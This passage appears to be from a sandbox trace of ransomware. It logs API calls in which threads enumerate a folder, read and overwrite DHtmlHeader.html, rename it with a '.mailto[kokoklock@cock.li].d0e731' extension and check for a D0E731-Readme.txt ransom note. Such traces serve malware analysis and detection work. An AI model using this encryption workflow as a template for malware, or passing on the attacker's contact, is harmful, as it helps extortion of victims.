ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.347] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.347] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x33e86d0 [0062.347] wcscpy (in: _Dest=0x33e86d0, _Source="C:\\588bce7c90097ed212\\3082" | out: _Dest="C:\\588bce7c90097ed212\\3082") returned="C:\\588bce7c90097ed212\\3082" [0062.347] wcscat (in: _Dest=0x33e86d0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0062.347] wcscat (in: _Dest=0x33e86d0, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" [0062.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e86d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0062.348] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.348] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.348] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.348] FindNextFileW (in: hFindFile=0x3433928, lpFindFileData=0x3451ab0 | out: lpFindFileData=0x3451ab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0062.348] FindClose (in: hFindFile=0x3433928 | out: hFindFile=0x3433928) returned 1 [0062.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3451ab0) returned 1 [0062.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd748) returned 1 [0062.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e01d8) returned 1 [0062.348] RtlExitUserThread (Status=0x0) Thread: id = 57 os_tid = 0xcac [0060.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd790 [0060.316] wcscpy (in: _Dest=0x33fd790, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0060.316] wcscat (in: _Dest=0x33fd790, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0060.316] wcscat (in: _Dest=0x33fd790, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Client\\*") returned="C:\\588bce7c90097ed212\\Client\\*" [0060.316] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3451d18 [0060.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3451d18 | out: lpFindFileData=0x3451d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338e8 [0060.332] wcscmp (_String1=".", _String2=".") returned 0 [0060.332] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x3451d18 | out: lpFindFileData=0x3451d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.332] wcscmp (_String1="..", _String2=".") returned 1 [0060.332] wcscmp (_String1="..", _String2="..") returned 0 [0060.332] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x3451d18 | out: lpFindFileData=0x3451d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0060.332] wcscmp (_String1="Parameterinfo.xml", _String2=".") returned 1 [0060.332] wcscmp (_String1="Parameterinfo.xml", _String2="..") returned 1 [0060.332] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x33e8530 [0060.332] wcscpy (in: _Dest=0x33e8530, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0060.332] wcscat (in: _Dest=0x33e8530, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0060.332] wcscat (in: _Dest=0x33e8530, _Source="Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" [0062.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0062.350] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x3451d18 | out: lpFindFileData=0x3451d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0062.350] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1 [0062.350] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1 [0062.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x33fb260 [0062.350] wcscpy (in: _Dest=0x33fb260, _Source="C:\\588bce7c90097ed212\\Client" | out: _Dest="C:\\588bce7c90097ed212\\Client") returned="C:\\588bce7c90097ed212\\Client" [0062.350] wcscat (in: _Dest=0x33fb260, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0062.350] wcscat (in: _Dest=0x33fb260, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" [0062.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fb260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0062.351] FindNextFileW (in: hFindFile=0x34338e8, lpFindFileData=0x3451d18 | out: lpFindFileData=0x3451d18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0062.351] FindClose (in: hFindFile=0x34338e8 | out: hFindFile=0x34338e8) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3451d18) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd790) returned 1 [0062.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0062.351] RtlExitUserThread (Status=0x0) Thread: id = 58 os_tid = 0xb6c [0060.317] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0060.337] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x20) returned 1 [0060.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x598 [0060.337] GetFileSizeEx (in: hFile=0x598, lpFileSize=0x69afa90 | out: lpFileSize=0x69afa90*=16118) returned 1 [0060.337] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x3ef2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.337] ReadFile (in: hFile=0x598, lpBuffer=0x69afa64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x69afa64*, lpNumberOfBytesRead=0x69afa60*=0x4, lpOverlapped=0x0) returned 1 [0060.387] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e48a0 [0060.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0060.387] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4a80 [0060.387] NtQuerySystemTime (in: CurrentTime=0x69afa3c | out: CurrentTime=0x69afa3c*=132121176182738531) returned 0x0 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x1b09cdbe [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xe341f0c2 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x282b0658 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x2383d6b9 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x3962856f [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x5b0aa1c7 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xb39e2a30 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x175fa47b [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x959e9052 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xf9068b09 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xd15b449d [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xd5296d4f [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xcc1e0ac4 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x2a7d30bf [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x6c7d2b15 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x65946605 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xbc6e5b1c [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xb420bfb9 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x9ad0a422 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x899a5abd [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x509b9ec8 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xb2def2f1 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x330ffc23 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xdbc36236 [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x44f7709e [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x1a998ecc [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x3295158b [0060.387] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xe8eb61e9 [0060.388] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xe69f332b [0060.388] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0xe2915c2a [0060.388] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x14f87865 [0060.388] RtlRandom (in: Seed=0x69afa48 | out: Seed=0x69afa48) returned 0x31e18932 [0060.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0060.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.398] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4be8 [0060.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.398] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e48a0) returned 1 [0060.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c3a58 [0060.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.399] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x347d970 [0060.399] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3481a10 [0060.399] ReadFile (in: hFile=0x598, lpBuffer=0x347d970, nNumberOfBytesToRead=0x3ef6, lpNumberOfBytesRead=0x69afa3c, lpOverlapped=0x0 | out: lpBuffer=0x347d970*, lpNumberOfBytesRead=0x69afa3c*=0x3ef6, lpOverlapped=0x0) returned 1 [0060.409] SetFilePointerEx (in: hFile=0x598, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x69afa04 | out: lpNewFilePointer=0x0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x3481a10*, nNumberOfBytesToWrite=0x3ef6, lpNumberOfBytesWritten=0x69afa38, lpOverlapped=0x0 | out: lpBuffer=0x3481a10*, lpNumberOfBytesWritten=0x69afa38*=0x3ef6, lpOverlapped=0x0) returned 1 [0060.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4ad0 [0060.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4850 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4850) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x33e4ad0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69afa34, lpOverlapped=0x0 | out: lpBuffer=0x33e4ad0*, lpNumberOfBytesWritten=0x69afa34*=0x20, lpOverlapped=0x0) returned 1 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4ad0) returned 1 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a10) returned 1 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d970) returned 1 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0060.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x33e4be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x33e4be8*, lpNumberOfBytesWritten=0x69afa60*=0x8, lpOverlapped=0x0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x69afa78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x69afa78*, lpNumberOfBytesWritten=0x69afa60*=0x4, lpOverlapped=0x0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x69afa60*=0x4, lpOverlapped=0x0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x69afa60*=0x6c, lpOverlapped=0x0) returned 1 [0060.409] WriteFile (in: hFile=0x598, lpBuffer=0x33e47d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x33e47d8*, lpNumberOfBytesWritten=0x69afa60*=0x20, lpOverlapped=0x0) returned 1 [0060.410] WriteFile (in: hFile=0x598, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69afa60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x69afa60*=0x4, lpOverlapped=0x0) returned 1 [0060.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0060.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0060.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4be8) returned 1 [0060.410] CloseHandle (hObject=0x598) returned 1 [0060.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x3422ed8 [0060.501] wcscpy (in: _Dest=0x3422ed8, _Source="C:\\588bce7c90097ed212\\DHtmlHeader.html" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html" [0060.501] wcscat (in: _Dest=0x3422ed8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" [0060.501] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), lpNewFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.501] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0060.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422ed8) returned 1 [0060.501] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", dwFileAttributes=0x80) returned 0 [0060.502] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481c18 [0060.502] wcscpy (in: _Dest=0x3481c18, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0060.502] wcscat (in: _Dest=0x3481c18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0060.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0060.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481c18) returned 1 [0060.502] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341aa88) returned 1 [0060.502] RtlExitUserThread (Status=0x1) Thread: id = 59 os_tid = 0x9e8 [0060.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x33fa0a8 [0060.318] wcscpy (in: _Dest=0x33fa0a8, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0060.318] wcscat (in: _Dest=0x33fa0a8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0060.318] wcscat (in: _Dest=0x33fa0a8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\*") returned="C:\\588bce7c90097ed212\\Extended\\*" [0060.318] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3451f80 [0060.318] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3451f80 | out: lpFindFileData=0x3451f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34338a8 [0060.331] wcscmp (_String1=".", _String2=".") returned 0 [0060.331] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x3451f80 | out: lpFindFileData=0x3451f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.331] wcscmp (_String1="..", _String2=".") returned 1 [0060.331] wcscmp (_String1="..", _String2="..") returned 0 [0060.331] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x3451f80 | out: lpFindFileData=0x3451f80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0060.331] wcscmp (_String1="Parameterinfo.xml", _String2=".") returned 1 [0060.331] wcscmp (_String1="Parameterinfo.xml", _String2="..") returned 1 [0060.331] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x34207d8 [0060.331] wcscpy (in: _Dest=0x34207d8, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0060.331] wcscat (in: _Dest=0x34207d8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0060.331] wcscat (in: _Dest=0x34207d8, _Source="Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" [0062.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34207d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0062.352] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x3451f80 | out: lpFindFileData=0x3451f80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0062.352] wcscmp (_String1="UiInfo.xml", _String2=".") returned 1 [0062.352] wcscmp (_String1="UiInfo.xml", _String2="..") returned 1 [0062.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481d38 [0062.353] wcscpy (in: _Dest=0x3481d38, _Source="C:\\588bce7c90097ed212\\Extended" | out: _Dest="C:\\588bce7c90097ed212\\Extended") returned="C:\\588bce7c90097ed212\\Extended" [0062.353] wcscat (in: _Dest=0x3481d38, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0062.353] wcscat (in: _Dest=0x3481d38, _Source="UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" [0062.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481d38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0062.353] FindNextFileW (in: hFindFile=0x34338a8, lpFindFileData=0x3451f80 | out: lpFindFileData=0x3451f80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0062.353] FindClose (in: hFindFile=0x34338a8 | out: hFindFile=0x34338a8) returned 1 [0062.353] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3451f80) returned 1 [0062.354] RtlFreeHeap (HeapHandle=0x33c0000, 